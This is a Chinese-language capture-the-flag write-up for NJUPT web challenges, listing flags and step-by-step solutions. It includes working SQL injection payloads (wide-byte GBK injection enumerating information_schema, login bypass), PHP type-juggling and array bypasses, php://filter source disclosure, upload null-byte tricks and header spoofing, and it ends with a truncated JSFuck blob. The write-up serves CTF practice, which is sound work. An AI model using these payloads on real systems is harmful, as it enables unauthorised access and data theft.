NJUPT线上攻防WP

#签到题

F12获得flag
nctf{flag_admiaanaaaaaaaaaaa}

#md5 collison

<?php
$md51 = md5('QNKCDZO');
$a = @$_GET['a'];
$md52 = @md5($a);
if(isset($a)){
if ($a != 'QNKCDZO' && $md51 == $md52) {
    echo "nctf{*****************}";
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

代码审计：传入a赋值给变量a 使变量a的值不等于QNKCDZO 但md5（’QNKCDZO’）=md5($a)
知识点：0e开头的Md5值相等
题解：http://chinalover.sinaapp.com/web19/index.php?a=s878926199a
nctf{md5_collision_is_easy}

#签到题2

F12查看源代码

1	<input type="password" value="" name="text1" maxlength="10">

修改maxlength=99
nctf{follow_me_to_exploit}

#这题不是WEB

Winhex查看文件头
图片保存为 .txt格式打开找到Flag
nctf{photo_can_also_hid3_msg}

#层层递进

F12 找到404页面或直接URL输入http://chinalover.sinaapp.com/web3/404.html
JS代码中找到Flag
nctf{this_is_a_fl4g}

#AAencode

颜文字复制粘贴进浏览器操作台运行
nctf{javascript_aaencode}

#单身二十年

直接抓包
nctf{yougotit_script_now}

#你从哪里来

知识点：这里面有个referer字段-HTTP Referer是header的一部分，当浏览器向web服务器发送请求的时候，一般会带上Referer，告诉服务器我是从哪个页面链接过来的，服务器藉此可以获得一些信息用于处理。
题解：抓包修改Referer:https://www.google.com/然后BPrun一下
nctf{http_referer}

#php decode

<?php
function CLsI($ZzvSWE) {
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));
    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
    }
    return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?>

将最后修改eval修改为echo 保存后开xampp运行
知识点：

<?php
$string = '杯子';
$name = '咖啡';
$str = '这个 $string 中装有 $name.<br>';
echo $str;
eval( ''\$str = \ ''$str\'';'' );
echo $str;
?>

理解：$str- 转义变量\以避免将其解释为字符串。如果从头删除反斜杠，PHP会抛出一个Parse错误。
\”$str\”; - 这里使用变量的实际值，反斜杠用于转义双引号
输出结果：这个 $string 中装有 $name.
这个杯子中装有咖啡.
参考地址:https://stackoverflow.com/questions/20162385/please-explain-what-this-does-eval-str-str
nctf{gzip_base64_hhhhhh}

#文件包含

点击页面判断为文件包含后修改URL为
file=php://filter/read=convert.base64-encode/resource=index.php
查看网页源代码 base64转义后获得Flag
知识点：源码泄露
nctf{edulcni_elif_lacol_si_siht}

#单身一百年也没有用

抓包
nctf{this_is_302_redirect}

#Download~!

查看源码

1 2	<p><a href="download.php?url=eGluZ3hpbmdkaWFuZGVuZy5tcDM=" target="_blank">星星点灯</a></p> <p><a href="download.php?url=YnV4aWFuZ3poYW5nZGEubXAz" target="_blank">不想长大</a></p>

将download.phpbase64加密download.php?url=ZG93bmxvYWQucGhw
下载的php文件里发现hereiskey.php base64加密后输入URL可解
nctf{download_any_file_666}

Tips:0==not
抓包修改login=1
nctf{cookie_is_different_from_session}

#MYSQL

Tips:sql.php
查看robots.txt

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

intval()函数功能
-参数一定是数字否则会报错
-如果是数字那一定是整数，如果有小点，那会省略掉
-强调参数可以有“-”值
-参数第一位不应为0开头，不然会自动转换十进制
所以输入id=1024.1 则使$_GET[id]不为1024但$id=intval($_GET[id])=1024
构造URL:http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
Flag:nctf{query_in_mysql}

#sql injection 3

1.id=2得到Tips：gbk_sql_injection 宽字节注入
2.id=%df%27 or 1 = 1%23 your sql:select id,title from news where id = ‘運’ or 1 = 1#’
3.id=%df%27 union select 1,database() from news%23爆出库名 sae-chinalover 也可以用id=%df%27 and 1=2 union select 1,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1–+%23 sae-chinalover十六进制转换为0x7361652D6368696E616C6F766572
4.id=%df%27 and 1=2 union select 1,group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x7361652D6368696E616C6F766572%23爆出表名 ctf,ctf2,ctf3,ctf4,news
十六进制转换分别为0x637466，0x63746632，0x63746633，0x63746634，0x6E657773
5.id=%df%27 and 1=2 union select 1,group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x637466%23/0x63746632/0x63746633/0x63746634/0x6E657773 最后在表ctf4中得到flag字段
6.id=%df%27 and 1=2 union select 1,group_concate(flag) from ctf4得到nctf{gbk_3sqli}

#/x00

源码：

if (isset ($_GET['nctf'])) {
    if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
        echo '必须输入数字才行';
    else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
        die('Flag: '.$flag);
    else
        echo '骚年，继续努力吧啊~';
}

ereg() 正则限制
trpos() 函数查找字符串在另一字符串中第一次出现的位置

这里有两个漏洞:
1.%00截断及遇到%00则默认为字符串的结束
2.当nctf为数组时它的返回值不是FALSE
所以有两个方法去攻这道题目
1.令nctf=1%00%23biubiubiu 数值1可以替换为任意数字（根据正则决定）最后结果为0
2.令$nctf为数组则，nctf[]=111

1
2
3

<?php
echo strpos("You love php, I love php too!","php");
?>

查找 “php” 在字符串中第一次出现的位置，输出9
附加：

1 2	=== 格式也等！== （0！==false 为true)

nctf{use_00_to_jieduan}

#bypass agagin

一开始想到的是0e开头MD5加密的黑魔法发现是 ===
md5（）不能处理数组结构的数据
利用此漏洞构造index.php?a[]=1&b[]=2返回Flase得到Flag
nctf{php_is_so_cool}

#变量覆盖

点击查看source.php

?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
                        <?php
                        extract($_POST);
                        if ($pass == $thepassword_123) { ?>
                            <div class="alert alert-success">
                                <code><?php echo $theflag; ?></code>
                            </div>
                        <?php } ?>
                    <?php } ?>

要求$pass=$thepassword_123
在输入框中输入111抓包得到pass=111
构造pass=111&thepassword_123=111
得到Flag
nctf{bian_liang_fu_gai!}

#PHP是世界上最好的语言

根据提示构造URL http://way.nuptzj.cn/php/index.txt
得到源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?

eregi()功能：字符串比对解析，与大小写无关
要求输入的id与hackDJ不相等
经过一次url解码后id与hackDJ相等
一次编码 %68ackerDJ
二次编码 %2568ackerDJ
构造URL得：http://way.nuptzj.cn/php/index.php?id=%2568ackerDJ
nctf{php_is_best_language}

#伪装者

抓包增加X-Forwarder-For：127.0.0.1
nctf{happy_http_headers}

抓包查看header
nctf{tips_often_hide_here}

#上传绕过

题目要求:上传JPG文件并被识别为PHP文件
上传1.php 抓包在/uploads/添加一个空格
将filename=”1.php” 修改为1.jpg
在hex中将20修改为00
nctf{welcome_to_hacks_world}

#SQL注入1

点击Source链接查看源码

if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);
  $pass = md5(trim($_POST[pass]));
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

trim()函数：移除字符串两侧的字符，默认消除字符串俩侧空格
代码审计：
$user等于post进的user消除字符串俩侧空格
$pass等于post进的pass消除字符串俩侧空格再进行md5加密
数据库中user的值为””+$user+””
与$pass内容无关使user=admin
输入user=admin ‘)#
nctf{ni_ye_hui_sql?}

#pass check

$pass=@$_POST['pass'];
$pass1=***********;//被隐藏起来的密码
if(isset($pass))
{
if(@!strcmp($pass,$pass1)){
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

Tip:strcmp(array,string)=null=0
所以构造post的pass值为数组pass[]=1
nctf{strcmp_is_n0t_3afe}

#起名字真难

<?php
function noother_says_correct($number)
{
       $one = ord('1');
       $nine = ord('9');
       for ($i = 0; $i < strlen($number); $i++)
       {   
               $digit = ord($number{$i});
               if ( ($digit >= $one) && ($digit <= $nine) )
               {
                       return false;
               }
       }
          return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
   echo $flag;
else 
   echo 'access denied';
?>

代码审计：get$key的值不能是1-9的数字又要与$number值相等
将数字转换成十六进制
构造URL http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
nctf{follow_your_dream}

#密码重置

tip：重置管理员账号为admin
抓包后构造user=admin&newpass=111&vcode=1234 并post
元URL为http://nctf.nuptzj.cn/web13/index.php?user1=Y3RmdXNlcg==
于是base64加密admin
最后构造URL为 http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4=

nctf{reset_password_often_have_vuln}

#SQL Injection

查看源代码

<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';

function clean($str){
	if(get_magic_quotes_gpc()){
		$str=stripslashes($str);
	}
	return htmlentities($str, ENT_QUOTES);
}

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);

$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
	die('Invalid password!');
}

echo $flag;
-->

TIP:反斜杠可以用来转义仔细查看相关函数的用法
函数clean的作用：将输入的$str字符串中的单引号，双引号，and，\ 转义为含反斜线（\）的转义字符，再将其中的\删去，再将字符串中的单双引号进行编码。
观察SQL语句 SELECT FROM users WHERE name=\’’.$username.’\’ AND pass=\’’.$password.’\’;
构造?password=admin\&password= or 1 =1%23
SQL语句为 SELECT FROM users WHERE name=’admin\’\’ AND pass=’.1 = 1#’;
即 SELECT * FROM users WHERE name=’admin AND pass=’.1 = 1#’;
nctf{sql_injection_is_interesting}

#综合题

1
2

呀！这到底是什么玩意儿
[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]](({}[[]]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+!![]+!![]+!![]+!![]+[])+({}[[]]+[])[!![]+!![]])+(!![]+[])[!![]+!![]+!![]]+({}[[]]+[])[+!![]]+(!![]+[])[+[]]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+[])[!![]+!![]+!![]])+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))+(!![]+[])[+!![]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()([][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+(![]+[])[!![]+!![]]+({}+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+(!![]+[])[+[]]+({}[[]]+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]])())[!![]+!![]+!![]]+(!![]+[])[!![]+!![]+!![]])()(({}+[])[+[]])[+[]]+(!![]+!![]+[])+(!![]+!![]+!![]+!![]+!![]+!![]+!![]+!![]+[]))+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[]]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]+!![]+!![]]+({}[[]]+[])[+[]]+({}[[]]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(![]+[])[!![]+!![]+!![]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(![]+[])[+!![]]+([]+[][(![]+[])[!![]+!![]+!![]]+({}+[])[+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!![]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}[[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+({}[[]]+[])[+[]]+({}+[])[!![]+!![]+!![]+!![]+!![]]+(!![]+[])[+[]]+({}+[])[+!![]]+(!![]+[])[+!![]]]((!![]+[])[+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+({}[[